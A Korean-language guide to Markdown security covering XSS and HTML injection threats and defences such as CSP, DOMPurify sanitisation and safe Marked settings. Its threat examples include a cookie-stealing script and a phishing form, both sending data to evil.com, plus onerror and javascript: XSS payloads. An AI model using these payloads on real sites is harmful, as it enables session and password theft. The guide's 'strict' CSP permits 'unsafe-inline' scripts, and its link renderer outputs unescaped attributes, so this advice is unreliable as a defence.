Skip to content

Markdown 보안 모범 사례

Markdown은 평문처럼 보이지만 부적절한 처리는 심각한 보안 취약점으로 이어질 수 있습니다. 이 가이드는 Markdown 콘텐츠를 안전하게 처리하는 방법을 설명합니다.

일반적인 보안 위협

1. XSS (크로스 사이트 스크립팅 공격)

Markdown은 HTML 삽입을 허용하므로 악의적인 스크립트를 주입하는 데 악용될 수 있습니다:

markdown
<!-- 위험: 정화되지 않은 HTML -->
<script>
  // 쿠키 도용
  fetch('https://evil.com/steal?data=' + document.cookie);
</script>

<img src="x" onerror="alert('XSS')">

<a href="javascript:alert('XSS')">클릭하세요</a>

2. HTML 주입

JavaScript가 없어도 악의적인 HTML은 해를 끼칠 수 있습니다:

markdown
<!-- 피싱 공격 -->
<form action="https://evil.com/phish" method="POST">
  <input type="password" name="password" placeholder="비밀번호 입력">
  <button>로그인</button>
</form>

방어 전략

1. 콘텐츠 보안 정책 (CSP)

엄격한 CSP 헤더를 구현하세요:

html
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://trusted-cdn.com; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:;">

2. HTML 정화

전용 정화 라이브러리를 사용하세요:

DOMPurify (브라우저)

javascript
import DOMPurify from 'dompurify';
import marked from 'marked';

// 파싱 및 정화
const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'title', 'class'],
  FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
  FORBID_ATTR: ['onerror', 'onclick', 'onload']
});

document.getElementById('output').innerHTML = clean;

3. 안전한 Markdown 파서 설정

Marked 안전 설정

javascript
const marked = require('marked');

const renderer = {
  html(html) {
    // HTML을 완전히 차단
    return '';
  },
  link(href, title, text) {
    // 안전한 프로토콜만 허용
    const safeProtocols = ['http:', 'https:', 'mailto:'];
    try {
      const url = new URL(href);
      if (!safeProtocols.includes(url.protocol)) {
        return text;
      }
    } catch {
      return text;
    }
    
    return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
  }
};

marked.use({ renderer });

보안 체크리스트

배포 전 확인

  • [ ] 콘텐츠 보안 정책 (CSP) 활성화
  • [ ] HTML 정화 (DOMPurify/sanitize-html) 구현
  • [ ] 원시 HTML 비활성화 또는 제한
  • [ ] 모든 URL 및 링크 검증
  • [ ] 속도 제한 구현
  • [ ] CSRF 보호 추가
  • [ ] 파일 업로드 검증
  • [ ] 인증 및 권한 부여 구현
  • [ ] 콘텐츠 길이 제한 설정
  • [ ] HTTPS 활성화
  • [ ] 안전한 HTTP 헤더 설정
  • [ ] 로깅 및 모니터링 구현
  • [ ] 정기적인 보안 감사
  • [ ] 종속성을 최신 상태로 유지

결론

Markdown 보안은 간과할 수 없습니다. 적절한 정화, 검증, 인증 및 모니터링 조치를 구현함으로써 사용자 생성 Markdown 콘텐츠를 안전하게 처리하고 애플리케이션과 사용자를 공격으로부터 보호할 수 있습니다.

추가 리소스

Build by www.markdownlang.com